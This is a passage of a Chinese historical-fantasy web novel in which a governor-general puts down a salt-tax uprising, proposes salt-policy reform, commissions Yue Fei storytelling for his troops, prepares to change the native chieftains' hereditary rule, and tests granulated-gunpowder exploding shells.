段之缙接着道:“这是火铳的声音,你们离着大门远一些,我们现在要朝着大门射击!”而后等了一会儿,一个火铳手上前,对着大门射击,门上赫然出现了一个窟窿,里边惊叫声不断。 “看见了吗?如果想剿灭你们,也不必在这里费口舌了。降者皆我子民,不降者皆我仇寇!把你们的冤情都说出来,本督若不为你们做主,绝不再穿这身官服。给你们考虑的时间,倘若明日日出时还不能决断,那就得强行破门了!” 语罢,段之缙命人就地扎帐,知府、巡抚和他三个人对坐在帐子里,对面的两人冷汗直流。 段之缙冷笑,“天儿这么热啊?没事儿,这官服也穿不了多久了。” 第88章 088西南盐政 帐子里所有人都无法安睡,段之缙叫人拿了纸笔草折子记事,期望衙门里的人能够尽快出来,这样也好求情减罪。熊计舒和泰仁却希望他们能够负隅顽抗,这样定然是严惩不贷。 段之缙的怀 表滴答滴答响,已经快到卯时也就是约定的日出时分。东边泛上了红晕,太阳也要正常升起,段之缙出了帐子站在县衙大门之前,直勾勾盯着。 终于,在焦急的等待中,县衙的大门被沉重地推开,一个年轻人身上绑着麻绳,跨过门槛率先走出。 稚气未脱,泪流满面。 男女老少跟在他身后出来,像是受惊的孩子,战战兢兢地跪下。 那个男孩也不知道应该向谁跪,就当着这一群官服跪了下来。 “大人们,这都是我挑唆的,一人做事一人当,要杀就杀我!” 段之缙还没说话,熊计舒贴耳道:“制台大人,这些人都应该押回县衙仔细审问。” 段之缙真想给他一嘴巴,想想也没必要,只会打得自己手疼。上前问那年轻人:“你们统共杀了多少人?他们的尸身在哪里?” “我们只杀了那个狗官和他的走狗!” “知县的亲眷呢?” “都在后衙,没碰他们一根头发!” 段之缙卸了一口气,这样还可以说是乱而不反,并不是谋逆。 看着眼前衣衫褴褛的百姓,段之缙道:“说你们的冤情。” 熊计舒又急,“制台大人,要审也得回衙门审啊!怎么当街审起了案子?” “上有青天,下有厚土,朗朗乾坤有什么不能审的?”而后段之缙朝那小子大声道:“说!一遭儿全说干净,咱们彼此都做个见证!” 乡亲们呜咽悲泣之声不绝,把这里的盐政骂了个遍。 “偏偏要咱们吃白云井煮出来的盐,千里迢迢运过来,比私盐贵了两倍不止,还掺着沙!一斤盐半斤沙,咱们只能把买回来的盐化在水里,在菜里边添盐水做饭。” “去年爹娘死了,丈夫也没了,就剩下我们娘俩孤儿寡母,要我们买五口人的盐!但是花了五个人的钱,也就是够两个半人吃!” 乡亲们越说越气,还有灶户诉苦,“今年的盐卤不好,根本出不了那么多盐,我们干不了往盐里掺沙的腌臜事儿,他们就把盐全弄去了,连个本都不给我们留,往后的日子可怎么过啊……” 段之缙听着只觉不妙,这不是一县的问题,而是一省的问题,连忙打断,“现在无记录之人,等去总督衙门再细说。”此时陈山也已经领着人收拾了一遍县衙,出来禀报:“尸身找出来十四具,都烧成了黑炭,也分不清谁是谁。” 段之缙点头示意他知道了,回首先跟熊计舒说话:“熊大人,你先随我来吧。” 两个人钻回了小帐子,段之缙拉着他坐在身边,叹气道:“我越听越不对,这罪过似乎不是咱们的,是这盐制有问题。你说这事儿弄的,应该不止这一县吧?” 熊计舒看他终于弄明白了这事情的严重性,这才舒一口气。 “可不是嘛!每个府县都是这样,百姓们有苦处不假,咱们也苦得很啊。倘若真要处置,那可真是从顶筛到底,大家全都要吃断头饭了。要是再往前追究,前几任督抚都要好好琢磨,您这一串下来得罪多少人?皇上就一定能把这些人全处置了吗?即便是全处置了,日后在官场里,您还怎么做人呐!” 段之缙在心里大骂,“我上报了你们的烂事就是不做人了,真不做人的倒是理由一大堆!” 高低全给你们题参了。 但是心里骂了个底朝天,段之缙故作若有所思,最后为难道:“你说的有理。只是熊大人,我二十七八岁的年纪,能做到督抚的位置,当今天子的禀性我是还有几分把握。聪明睿智,脾气又不太好。按照泰仁的答复汇报给朝廷,陛下能扒了我们的皮!” 熊计舒还没上过京,摸不清当今的脾气,只能听段之缙忽悠,“那大人的意思是?” “你们的情况嘛,我也了解了。这个事儿确实不是州府能做主的,哪怕是你这个巡抚,也不能做主,要怪只能怪前任总督不上报。只是总得有人担责。知县已经死了,那泰仁?” 熊计舒暗暗琢磨,这个事儿的确得有人担责,不如把泰仁推出去。因而道:“泰仁治下出了这样的暴乱,知县都已经死了,他连个主张都没有。请大人与我一起题参泰仁。” “自然自然。当今是励精图治的天子,本督有一个想法熊大人看如何?既然已经事发,咱们提一个改制之法也能叫陛下少追究些,你我一起给内阁上题本,至于以往几任督抚的盐政和现在其他县的盐政,就当不知道,只说是咱们防患于未然。” 熊计舒想了想的确是这个道理,满口答应,段之缙拉着他掏心掏肺,最后道:“先把这里的事情安抚下去,人我都带去总督衙门。而后你我商量商量,叫你的文启师爷写一个题本递上去,你看这样行不行?” 熊计舒见他真是上道了,自然是无有不应,“全凭制台大人做主,下官先去收拾县衙。” 段之缙叫他去,自己出去跟外边的人说:“你们也都知道,这盐政是朝廷的律法,任我是谁也不能变!”底下人又有愤色,段之缙赶紧道:“但是,我会跟皇上报改制之法,陛下天纵英明,定然会应允。自今日起,准灶户自煎自销,暂停计口授盐!咱们先如此维持着,到过年之前,定然能有个说法!” 语罢,段之缙又招来陈山,“回去跟夫人说,麻烦她派人查访地方,看还有没有类似的府县,尤其是白云井行盐的地区,倘若有就以总督的名义下令暂停计口授盐,准许灶户自煎自销。” 然后等着熊计舒领人清扫完县衙,一起去了泰仁的府衙。 两人坐定,段之缙先叫给他弄点吃的,一边吃饭一边叫熊计舒想法子。 熊计舒哂笑:“大人,我哪有什么法子,还是您说吧。” 段之缙送下口里的饭,“那本督就说了?既然官运官销不行,那就□□民销。取消定额,灶户自煎自卖,官府可以借给他们薪本,但是不用盐来偿还,而是用他们自己卖盐的钱。商贩自由贩运,也不必划什么盐区了。至于盐价,咱们只控制不能超过最高的限度,至于最低如何,就叫他们自己做主。” 熊计舒听了一顿,问道:“那何时缴税?” “灶户们煎出多少盐,按照比例缴多少税。商贩们买盐引,每引三百斤,凭盐引向灶户购买食盐,只能买盐引对应的重量。这样咱们也不用等着先卖出去盐再跟他们催缴了。” 终于吃完了饭,段之缙把碗筷摞起来,洗漱净手,而后看着熊计舒一笑,“熊大人怎么不出声?本督的法子是好还是不好啊?虽说要严查越境私盐,但世上无十全十美的法子,若是没问题咱们就得写折子了。” 熊计舒讷讷称是,派人去找自己的文启师爷写题本,把事情的经过和改制之法都写了上去,段之缙看一遍没差错,直接拿回了总督府。 沈白蘋都要急死了,见他全须全尾地回来才松下一口气,问道:“事情现在如何了?” 段之缙把当时的情形和处理的方法都跟她说了,将折子递给沈白蘋看。 沈白蘋愤恨不已,“你怎么能饶过熊计舒?他也不是什么好东西!” “急什么?”段之缙道:“盐政牵涉全省官员,我又不能将他的官帽摘了,此事事关重大,朝廷定然会派钦差来,在此期间得安抚住南诏的官吏,不能叫他们狗急跳墙。今晚上我就写奏折报给皇上。” 熊计舒有一点说的没错,倘若要查,从上到下都要细细地筛一遍,但段之缙怕的不是得罪人,而是打草惊蛇,叫县官府官们乱了政务。 沈白蘋愤愤地给他磨墨,段之缙提笔把熊计舒干的事儿都详细写明,又把此地盐政的弊端都写了一遍,最后请朝廷派钦差来一同调查并改革盐政。顺带把更改军队编制,减少马兵增加火铳的事情也说了,林林总总写了不少。 方要收起,沈白蘋又拦住他,“你远在 西南之地,和陛下的联系也就靠这些奏折了,不能这样干巴巴的。密折不入内阁,谈完了公事理应说说私事。我在衙门里听人说,这有一种茶叶名为普洱,口感醇厚,茶汤红润,但在京中这么多年却没怎么听说过,于是派人买了些。把这个茶饼随折子一起送上京,给陛下尝尝鲜。” 段之缙连连称是,脑袋一歪偎进蘋儿的素手中,赞道:“好聪明一个夫人!”而后被推开,被催着在折子上添两行。 段之缙想想,写道:“臣此行一切顺遂,身体康健,皆仰赖圣主洪福庇佑,感激涕零,莫可名状。臣于南诏,闻此地有茶名普洱,其味醇厚甘润,回甘悠长,实乃茶中上品,思及圣主日理万机,或未曾得尝此物,心中不胜惶恐,遂精选上等普洱若干,恭呈御览。”而后才将奏折连带茶叶一起送出。 翌日,段之缙也不去前衙处理公务,也不去军营巡查,吩咐人去酒楼里找说书先生,又叫来精通史书的读书人和写书为生的秀才,大家集聚一堂,段之缙手里捧着话本子,一边浏览一边问道:“你们平日里都说什么书啊?” 一位老先生回道:“大人,我们经常说些神鬼故事,像那狐精书生、蛇精屠夫一类的极受欢迎。” “或是奇侠演义,济公斗蟋蟀!” 段之缙又问:“其他的呢?历史故事就不讲些?” 一人思量道:“也有也有。譬如隋唐演义、武王伐纣。” “那岳飞的故事讲不讲?三国的故事讲不讲?” 老先生道:“大人,我们讲书人还是得有个底本照着讲。现在还没有岳飞将军的底本。因而没讲过岳飞。三国的故事也不常讲。” 话本子一合,段之缙叫他们上前来,“本督有一个大差事要办,倘若办好了,每人赏银一百两!” 说书人一下沸腾起来,老者笑得满脸褶子,“大人尽管吩咐,咱们一定尽心尽力地办!” “那就好。”段之缙叫通史书的温科上前,“你三国志和宋史学的如何?” 温科自信道:“但凭大人考教,学生绝无不通之处。” “你敢说这个话,本督就敢信你的话,这次叫你们来是为了给岳飞作传而后在军营中说书,要求只有两点,接地气但又得讲忠孝节义!” “接地气得你们说书和写书的来商量,力求引人入胜,但是总体上的事迹要符合宋史。只要话本子做得合心意,也是一人一百两。先写一回给我看看。” 写书的陆角听明白了,和温科商量着,写了第一回出来,主要是说岳飞降生,编了些满屋异香的内容,表明这个小岳飞非同凡响。 段之缙捻着纸张,“不行不行,这不够有冲突。”他想着《水浒传》的开头,又朦朦胧胧地想着《说岳全传》的开头,提议:“你能不能写点神仙转世的情节,比方说岳武穆是哪一个神仙的座下护法,因为有使命下凡来。而秦桧和那些奸臣是妖魔鬼怪,两方天生就是死对头。” 陆角恍然大悟,将前边的开头一改,正符合段之缙的要求。 岳飞元帅是佛祖座前大鹏鸟,孔雀大明王菩萨之子,下凡历劫。而秦桧则是妖蛟转世,为祸人间。 瞅着差不多像样子了,段之缙才将他们带去前衙堂屋,自己则去看上年和土司作战的记录。 看完之后完全能够理解小兵为何会怕夷兵。夷兵在林中穿梭,打起仗来以一敌二,而汉兵再训练,也比不过土生土长的夷人。 倘若不能靠武力推平,还是要从内部瓦解敌人啊! 而且夷兵现在是敌人,说不得日后就成了战友,总归能不动武就不动武。 段之缙溜溜达达去了师爷们办公的地方,全守珍和宗怀宁带人行礼。 “快起快起,这些日子多亏了你们,本督才敢在军营呆这么长时间,今日来不过是有些夷人的事情想要询问,大家都坐吧。” 段之缙叫人上水,含笑问道:“这儿有通夷语、夷物的人吗?” 大家相互看看,都摇摇头。 “那可有与夷寨相邻州府的先生?” 一个师爷回道:“大人,学生是克曲府人,府西南就是土夷。” 段之缙问:“你们府会有夷人进城做小买卖吗?夷人的日子过得怎么样?他们抵触汉民吗?” “汉夷互通有无是常有的事情,用他们的东西换些盐、米之类的。日子嘛……这得分土司。和我们临近的土司人好,日子和咱们也没什么差别,但我听说往西南走,那里的土司穷凶极恶,男婚女嫁都得纳税,全部的土地都是土司的,刑名上,土司说打死人就打死人,也没有律法。” 段之缙搓搓手,一个想法冒了出来。 靠近汉族的那些夷人的汉化程度不低,也从来没有他们反叛的记录,完全可以保留他们世袭土司的封号,叫他们行使知县的权力,按照成文的《夷律》司法,并解除军事权力。 而对于那些大搞奴隶制的土司则要动摇他们的人心,分土地就是一个不错的办法。 “今天你也回去收拾收拾,明儿和我一块儿往克曲府探查夷情。” 第89章 089蛮不出境,汉不入夷…… 总督出巡的排场极大,持“肃静”、“回避”牌,开道警示,强制清场,又要标明官职,配以龙虎图案旗。 但克西府靠近夷地,倘若动静太大,定然会引起夷民的警觉。段之缙没穿官服只乘车带上印信便去了克西府。 克西的知府车慧清从前衙出迎,还不等他行礼,段之缙就把他拽了进去,也不寒暄两句便开门见山:“你们临近夷民的府县,既然能够叫百姓们互通有无,那官员能不能够进入夷地?若官员不能,汉民能不能进入夷地?” 车慧清叫他铺头盖脸一顿问,先懵了一瞬,而后答道:“制台大人,表面的规矩还得是蛮不出境,汉不入夷。我们这儿的买卖频繁,不过是主官睁一只眼闭一只眼罢了。官员想要进入夷地却是万万不行。” “汉民也不行,只能夷民进来换,而不能我们出去卖。而且夷人向来团结,他们的规矩我们又不深知,汉人进去下官等放心不下。” 段之缙搓搓手略有些失望,“好吧好吧。我记得这里相邻的两个夷寨是燧明和兆仁?他们的土司秉性如何?” 车慧清答道:“燧明土司名为吴阿兰,今年四十余岁,秉性很好,向来亲善朝廷,这才许她们的夷人进城来交换,燧明上交贡品服从政令也从来不用人催。兆仁的土司名为马黎,他嘛……他爹是很好的,他却年轻气盛,我怕是动了歪心思,不过虽然不如吴阿兰亲善朝廷,但朝廷的调令和朝贡也是不用催的,治下的夷人和汉人虽不亲密,但也不会发生冲突。” 段之缙叫师爷通通记好,听了一会儿问道:“吴阿兰,听这名字好像是个女土司?” “是,燧明世代都是女土司,她们的风气也是女人当家。” 段之缙了悟,又和车慧清去文书处看历代的夷情,发现燧明竟还是一个不小的土族,而其地势较为平坦,林地又少,地势上来讲,倘若朝廷出军从定然能够将其拿下。 段之缙若有所思,“吴阿兰在夷地的名声如何?燧明的土兵善战吗?” 车慧清早就听说改土归流的说法,听段之缙这样问便知总督的心思也在改土归流上,可他本人却极不愿意动刀兵。 “吴阿兰在族中声望极高,有时朝廷的调令在夷人中难以推行,但只要她一声令下,便能够实施。而有时候,只要她不愿意,朝廷的调令再好也没用。他们的地势不好,土兵再强健也顶不住鸟铳弓箭。但是……” 段之缙瞧他犹豫起来,笑道:“这儿的情况你最清楚,有话直说。” “燧明一向安分守己,吴阿兰对朝廷忠心耿耿,下官敢做担保绝她没有变乱的可能。对这样忠顺的土司动刀戈,定然会引起轩然大波 ,其他的土司也会顺势反叛,朝廷得不偿失,下官以为还是不要轻举妄动为好。”车慧清苦口婆心,唯恐年轻人急功近利贸然对着燧明发兵,那燧明倒是打下来了,其他的土司也跟着造反,西南乱成一锅粥。 他就算不可怜可怜百姓,也得想想自己的脑袋不是? 段之缙失笑,拉着他一块儿坐下。 “我虽年轻,但也不至于如此急躁,还请府台大人放心好了。对了,燧明与汉交换物品之地在哪儿?本督要去看看。” 车慧清微微放下心,“大人若想去,可去保宁县,县城东北门就是。现在九月份,燧明歌舞会在即进城换物的很多。” 段之缙便带着陈山和师爷去了保宁县的东北门,这里的市场的确繁荣,深蓝或黑色衣服的夷人用布包裹着头发,男男女女大包小包来城门边和汉民交换。 换什么的都有,不过花草和各类的绣品最多。 很少有银两的交易,都是以物易物,用茶砖、香料或者布匹交换。 段之缙看了一会儿,盯住了一个卖花儿的大娘,就她收铜钱,但生意好得很,小花一篮又一篮卖得飞快,篮子空了也不走,夷人的姑娘手捧着花围着她学编花,一堆人嘴没有停的时候,时不时发出笑声。 但周围的人都见怪不怪,看来这种场面已经持续很长时间了。 还有许多人用盐换物,买卖都很不错。 段之缙找了个换盐的小贩,上前问道:“大哥,你在这儿卖私盐,官府不来管?” 大哥一下子急了,“你才卖私盐!你一家卖私盐!杀头的罪就往我身上放啊!我这有一文钱吗?” 段之缙眉毛一挑,“计口授盐,不是贩私盐怎么会有这么多余盐来换东西?”这可不是白云井盐的行盐区,且保宁县也还没有停止计口授盐。 大哥瞪了他一眼,“我不出来换,我家五口人吃十个人的盐啊?再说了,县老爷都许了,你管得着吗?快走!耽误我做生意……” 段之缙从怀里掏出来一两银子递给大哥,大哥神色警觉,“你给我银子我也不卖盐给你,你看着就一肚子坏水,别是用银子诬陷我卖私盐。” “你还怪聪明嘞!”段之缙哭笑不得,“我不买你的盐,就是想打听一点儿事,这银子是辛苦钱。” 大哥神色狐疑,还是道:“你直接问吧,不要你的银子。” 能省一分是一分,段之缙把银子揣起来,问道:“你们的生意都是什么时候结束啊?每天都像今天这样热闹吗?” 大哥道:“晌午过了一两个时辰就结束了,一年也就这个时候能热闹点,他们又要唱歌又要跳舞的,就要从我们这儿换点东西回去。平时全都是换盐的,他们吃盐可麻烦,偷摸出来换,可没这么热闹。” 段之缙又问了些夷人种地纳税之类的问题,大哥却一问三不知了,“咱就是个种地的,打听那玩意儿做啥?不过咱给你指个明路,你去问那个大娘,她啥都知道。” 段之缙讪讪一笑,要是能挤进去还用得着来来问你吗? 现在就只能等了。 结果人都走净了,还是有两三个女孩儿围着大娘,太阳都往西偏了大娘才捶捶自己的腰背,把篮子一个个摞起来挎在胳膊上,有些疲惫地往村子里去。 段之缙赶上去,“大娘,我给你拿着吧。” 大娘瞧他一眼没说话,也不用他帮忙,段之缙岔了个别的话题道:“大娘,我瞧着你的花挺好,但是我来的时候篮子已经空了,能不能跟你预定一点儿?” 大娘这才开了金口:“啥叫预定?” “就是我先给你钱,等着你有花儿了再给我花。” 大娘提了提篮子,回道:“那还用预定?花家里有,十个铜板一束花。你要多少?” 段之缙顺势挎过了大娘手里的篮子,“我不要按束算,您给我装满这一篮子,我就给你五两银子。但是今天晚上就要,能做出来吗?”说完,段之缙将一个小银锭放在大娘的手心,大娘狠狠攥住。 “五两银子?”五两银子得赚一个多月,大娘乐得脸上泛光,“你跟着我回家去,什么样的花任你挑!”她步子也轻快了,领着段之缙去村子里。 村 里家家户户都是熟人,走两步路就得停下来打招呼,段之缙跟着大娘进院子,门前屋后都是花树,左右俱是花盆,连院子里那两块巴掌大的田圃都种了花,院子里各种香气混合在一起,风一吹,直往人鼻子上撞。 大娘问:“你要什么花?” 段之缙已经看花眼了,只叫大娘自己配,大娘干活很麻利,拿着花剪手起花落,弄了满满一篮子,而后开始仔细地排布。 段之缙先闲聊了两句,大娘家里还有两个儿子和大儿媳,都在地里干活,还没回来。 东拉西扯说起了夷人,段之缙问道:“我瞧着他们又是唱歌跳舞的,日子倒像是比咱们好。” 大娘瞅他一眼,“哪里就比咱们好了?这些地好歹是咱们的,他们可不许有地,地全都是当官的。就算是有地,那个赋可不得了,五税一都是好的,弄着弄着就二税一了。” “不是吧,我听说燧明的女土司吴阿兰是个好土司,他们这些人也没有地吗?” “谁也没有地!那个女土司倒是好,也就是雇人种地给的钱多,平时要钱要得没那么狠。” 段之缙东问西问,果然打听情报还得靠生意好的小贩,如何跟吴阿兰接触叫她自愿接受改土归流,段之缙已经有了大体的想法。等着大娘编好了花篮,段之缙便提着回了克西府府衙,把花篮放在冰盆上保鲜,叫来车慧清。 “趁着这次保宁县的夷人还多,从明天开始把你一半的差役派出去,也在城门摆摊,卖盐砖卖花卖什么都行,跟夷人宣传一个事儿,倘若他们归了朝廷管辖,那朝廷就会给他们分配土地划分盐区,从此只给朝廷缴税服徭役,吃盐也方便。” 车慧清立刻出去安排,段之缙又找来纸笔,先写调令,叫卢肖明派炮手过来,把炮都拉到保宁县,于十月十五在保宁县城外试炮。而后写请帖给吴阿兰和马黎,请他们在那天一起观炮。 又在保宁县盯了几天,在眼睁睁瞧着打听分地一事的夷人越来越多后,段之缙下了总督衙门的告示,倘若燧明和兆仁的土司愿意接受朝廷的委任,则可以保留其世袭职位,行使知县的权力,域内的土地则要分给手下夷人。 告示发出后,海面仍是风平浪静,水下却开始翻涌浪潮。但段之缙已经收拾东西回了总督衙门,一开始买的那篮子花已经蔫了,临走时段之缙又去买了一篮。 到总督衙门的时候,沈白蘋并没有出来接,只有锁儿叫奶妈妈领着站在大门内,被死死拉住不叫出来。 他现在长大了不少,说话走路都比较利索了,幸好衙门门槛也不低,要不然能翻了天。现在瞧见他爹爹的轿子过来就奋力攀爬,奶妈一手按住他。 锁儿干脆喊起来,奶嗓子嗷嗷地叫爹,终于被他爹搂住腿弯抱在怀里。 段之缙叫陈山把花篮提上来,念叨着“给你插一个小花……”,从中选了一个铜板大小的粉色花插在锁儿头上,而后进了文案处,沈白蘋正核算钱粮,瞧见他进来一笑,脑袋上就被别了一朵大红花。 沈白蘋惊喜道:“这花哪来的?” “买的呗,是一个大娘亲手弄的,好看吧?” 沈白蘋扶一扶鬓上的花回一句“好看”,两个人又说一些话,段之缙便去找温科和陆角等人,招呼道:“大家的书都写得怎么样?” 陆角呈上一本册子,里边已经有了十回左右。 段之缙细细品读,果然是专业人士,引人入胜。又看了后边的条目,段之缙先赞一句:“词好,人物捏的也好,哪里都好。” “只是本督尚有一点不甚满意。” “不知制台大人 所说的是哪一点?” 段之缙把结局的细条目摆给他们看,“这故事的结局可不能这么好。” 原来温科和陆角二人将历史中的结局改了一下,叫岳飞大败金人,宋朝得以延续。 陆角问道:“那大人的意思是?” “仍然要按照宋史中的编,岳飞死后金人如何蹂躏国土要大书特书,最好看完后叫人恨得吃不下饭!” 陆角犹豫起来,“只是这样,听众们听一次就会气得不再听了,还得做一个好点的结局。” 这倒也是,段之缙想了想又道:“岳飞是大鹏鸟转世,不是死了,而是历劫未过重新转世,这一次叫他转世成……等会儿,这个先等一等。” 段之缙本想叫他转世成宋亡后新朝的太祖皇帝,驱蛮夷除奸臣,恢复汉家天下,而后再回归自己大鹏鸟的身份,但是岳飞转成了一个皇帝,岂不是给前朝带高帽?叫御史参了可就完蛋了。这个事儿要先问问皇帝。 “咱们还是一边编写一边讲。我看前十回写得不错,本督带着你们去军营里轮讲,咱们每五日讲两回,明天就开始讲。还有一事,”段之缙把这几天师爷整理的夷情给陆角,“按照这个给我编些故事出来,主要内容就是土司无恶不作,夷人在他们的手下生不如死,把土司写的越坏越好!” 到时候打起仗来,得叫这些士兵觉得自己是拯救人家的,起码理直气壮,而后又可以在夷地讲书,配合着分地的政策。 晚上段之缙便写了密折,将自己针对燧明和兆仁二地的改土归流之法报上去,又问能否让岳飞转世成前朝太祖,这次随着密折送了些蜡封的火腿进京,也不知皇帝能不能吃惯。 段之缙安排了三个督标军营的说书日程,又巡查了曲寻协、南诏城守和寻霑营三营,排好说书日期,两个章回下来,反响很好,起码大家听得津津有味。 之后便没有再到处巡视,安静呆在总督府中,一直等到京中回折送到南诏,和沈白蘋一同启看。 “尔所陈改行□□民销等策朕深以为是,命钦差携新定盐法章程赴南诏,尔务与之和衷共济,办理时须体恤灶户,不得借机勒索,倘激出新变,惟尔等是问!熊计舒、泰仁受国厚恩,竟然丧心病狂行此禽兽之举!俟钦差到后再行处理。” “普洱茶二匣已收,朕甚爱此茶。嗣后凡有陈奏,顺附数饼,尔若专差贡茶,朕即发还!” 皇帝之前的字他也是见过的,极为清俊,许是登基之后放飞自我,段之缙读起来有些费力,沈白蘋倒是很适应,看到下边笑出了声。 “你不用再找文启师爷了,陛下为我们送了一位。” 段之缙赶紧往下看,“观尔折,有违体统,莫非尔幕中竟无通晓案牍之文启师爷?朕已选前任辽河总督之文启师爷包诸随钦差同赴云南。” 段之缙看着沈白蘋,疑惑道:“写的有那么差吗?” 沈白蘋不说话,只摸了摸他的脸。 第90章 090保宁县试炮 收到回折之后,段之缙开始清查盐务,熊计舒还以为此事已经了结,装模作样地配合着,忽而晴天一声惊雷,十月初一日,段之缙拽着他去城外迎接钦差。 他看着段之缙似笑非笑的眼睛才明白过来,这小子是真的打算得罪整个南岺的官员了。 他不明白,段之缙此时还有些兴奋,因为此次担任钦差大臣的正是秦行,现任刑部侍郎一职。 四品以上担任钦差的要称钦差大臣,礼仪齐备,城门口放炮三声,段之缙带领官员跪拜领旨,而后回到总督衙门,请钦差升座受茶。 他俩来不及说一句私话,仿佛不认识。 现在天没那么热了,熊计舒陪坐西面,还是不断地擦汗。 秦行猝不及防开了口:“熊计舒,皇上有话要问!” 熊计舒立刻跪倒秦行身前,秦行问:“盐卤丰歉本属天时,南诏岁收皆有案可稽。尔等新任巡抚,既知前任总督隐匿不报,何故直至今日方行具题?” 熊计舒嘶哑着声音回道:“前任总督恐干圣怒,臣为下官不能制,此臣失察之罪,百喙莫辩。” “这你放心,前任的总督和你,你俩一个跑不了!” “再问,泰仁虐民,按察使衙门竟无奏报?题本所谓奸民煽惑,系指盐枭,若已擒获首恶,为何未见呈报?” 在座的按察使吓得一个哆嗦,上前跪下,“臣失职……” 秦行剑眉横竖,“叫你说话了吗?熊计舒答!” “乱民没有说清,臣无从呈报。” “又问,南诏盐道历年奏销,年年完税,都是如何做的?” 熊计舒汗如雨下,在座官员也都战战兢兢,秦行冷笑,“熊计舒与泰仁即刻革职锁拿,陛下谕旨,就在总督衙门里审讯。在座诸位不要担心项上乌纱,你们尚能够戴罪立功,此次南诏新设盐运使署总管盐务,盐运使由席季担任,你们要和衷共济,帮着他把盐政做好,身家性命便可以保全。” 在座的官员这才大舒一口气,秦行也没设宴,吩咐他们回去办差,人都走净了,再回身看一眼段之缙,眼睛就笑眯眯的了。 “你这小子还挺会讨好,给皇上送什么普洱茶,皇上很喜欢,还特意吩咐了我回去的时候带上茶饼。” 段之缙嘿嘿一笑,“都是蘋儿的主意。对了先生,陛下如何派您来南诏?” 盐政一事,总该派一个户部的侍郎来。 “盐运使是从户部出来的,我来专查案件,把熊计舒和泰仁的案子办大,以儆效尤。” 说到办案,段之缙又想起方叙墨,不由得问:“先生,方家的案子?” 秦行斜他一眼,“你是想方家的案子办大还是办小?” 段之缙心里揪成一团乱麻。 想办小,工部巨大的账目总要有人担责。可办大,真闹个轰轰烈烈,方叙墨作为罪臣之后,恐怕要被公主“休弃”了。 “方家要比你聪明,他们自知逃不过去,便把罪证给了方叙墨,叫方叙墨告发,这也省下不少麻烦,案子很快便了结了。认罪的态度很好,又愿意用合族之产赔补,到底是舅舅家,不仅方叙墨安然无恙,他们家与此事无关的子弟也安然无恙,两位方中堂也不过是被幽禁。” “那方叙墨……” 秦行翻一个白眼,“你的那些酒友饭友和学友,我一次性给你说清。方叙墨日子过得比你好,皇帝到底不想要一个吃白饭的女婿,到处找人调教他。唐馥顶了葛观澜的肥差,葛家的案子正在审。郑崑瑛,不,现在不能叫郑崑瑛了。” “陛下在潜邸时就说他的名字土重,给他赐了新名,郑楒琅。” 段之缙以为自己听错,还问了一遍:“郑什么?” “楒,楠榴之木,相思之树。琅,琅玕树之琅,也是取其木气,要用木克土。” 段之缙默默失神,原来是从内阁跳到军机处的郑中堂啊…… “你不知,郑崑瑛诗作之妙,长乐王喜欢得不行,一休沐去郊外就从翰林院把他提走,他是有大前途的。” “那长乐王呢?”这个原作中从马上摔下,而后走路便有些跛了的王爷。 秦行提起长乐王便有些气闷,“户部倒是管得好,陛下不成样子。都说人无完人,即便是陛下在潜邸时,领部出了差错,也是该领罚便领罚,长乐王倒是认了错,陛下又不承认,总之千错万错都是旁人的错。” 段之缙失笑,又催着先生说些京中的事情,自己久不在京,不知道形势如何。 “我走之前还去你家中拜访,你的母亲、妹妹都好,宋征舆在庶常馆也好。哦,你应当是不知,赤砂的二王子阿勒速趁着皇帝登基,无暇北顾,杀了他的父亲赶走了哥哥,现在已经坐上汗位。银泉城的知县倒是个不一般的,把苏赫放进了止步关,现在朝廷在想要不要以 苏赫的名义干涉赤砂。” “而后也没什么大事,只是我要叮嘱你。”秦行正色看着段之缙,“盐务的事情已经派了专员专管,你要好生配合席季,但是最重要的任务是改土归流,陛下的口谕,只要改土归流顺利,可以先斩后奏。” “但其中的尺寸要仔细揣摩把握,不能陛下说先斩后奏,你就撒了鹰真把皇帝当摆设。关于增火器降马兵一事,你自己看着办。” 皇帝放下了这样大的权力,也是因为南诏千里迢迢,奏折往来不便,段之缙高兴应下,将自己的计划和秦先生详说,“眼见着要到十月十五日了,两土司也答应了要去保宁县观炮,先生可要同来?” 秦行思考片刻,熊、泰二人的案子还有的审,不差那几日,正好去看看这里的情况,也看看段之缙弄得如何,于是答应下来。 二人初三日便启程去了保宁县,中营的卢肖明已经带着火炮和炮手驻扎在此地,请段之缙检查军备。 段之缙对军备一类了解并不深,卢肖明也干不出军备有缺再叫总督查验的事情,只象征性地看了看,结果还真看出了问题。 “为什么不拿□□而要用实心弹?” 段之缙抬起来那铁疙瘩质问,卢肖明一愣,笑回:“大人,□□可不如实心弹好用。” 段之缙怒道:“京中阅军之时都能轰平山头,难道不比这铁疙瘩强?” 卢肖明一愣,还是说:“那就是山头本来就松,□□有时候好用有时候就不好用。” 秦行也说:“上次一次发了多少弹药这才轰平,南诏怕是做不到。” 段之缙哑了火,一直以为军中火炮都用□□,没想到这还是京里的高级技术,想到十来日后就要试炮,只觉得头大如鼓,还是不死心问道:“还有没有开花炮了,给我开一个看看。” 卢肖明不知他要作甚,还是当场命人开了一个,里边的火药是老鼠皮一样的深灰色,粉末状的东西。 死马当活马医,先给他颗粒化,试试威力。 “军中有没有能够发射□□的炮手?” “这倒是有。” “那就好……”段之缙吩咐道:“把火药末用水也好其他的也好,粘合成大小均匀的米粒大小,阴干之后再填充开花炮。” 秦行提议:“干脆用酒,这样干得也快。” 卢肖明当即照办,第三天就呈上了一小坛火药,“这是用当天赶制出来的搓板搓的,大小很均匀。” 段之缙捻了捻,用力搓的时候还有些药渣,但现在已经很不错了,于是吩咐填弹,炮手组装好开花炮,朝着远处堆起来的土坡发射。 炮弹触坡刹那,燧石擦燃引火孔,火光骤缩复膨,一阵青烟破空而上,铁弹片向四周炸开,五十步内草人靶俱被洞穿。 原本还嘈杂的军营内鸦雀无声,段之缙猛拍了两下炮兵的后背,喜道:“还真成了!你们大功一件!” 他招来卢肖明,“炮手和制作火药的人定然比本督更懂行,现在离着试炮只有七八日了,你们有两件差事要做。一则,以此为例训练,十五日定然要万无一失。”他指向早就定好了山头,“一定要给我轰平!” “二则接着试验,火药的大小颗粒可以改一改,用以胶合的也不一定得是酒,试试糖水、醋水之类的,只要是流的的东西都试一遍,一定要试出来爆炸效果最好的那个。” 秦行上前去查看了被铁片洞穿的草人,过来吩咐,“□□的铁皮要刻上菱形的凹槽,方便炸开的时候铁片能溅出更多,大体就是这么个意思,如何操作你们自己安排。” 卢肖明称是,下去准备,段之缙便和秦行出了军营,去府衙中小坐,顺便问问燧明和兆仁二地的动向。 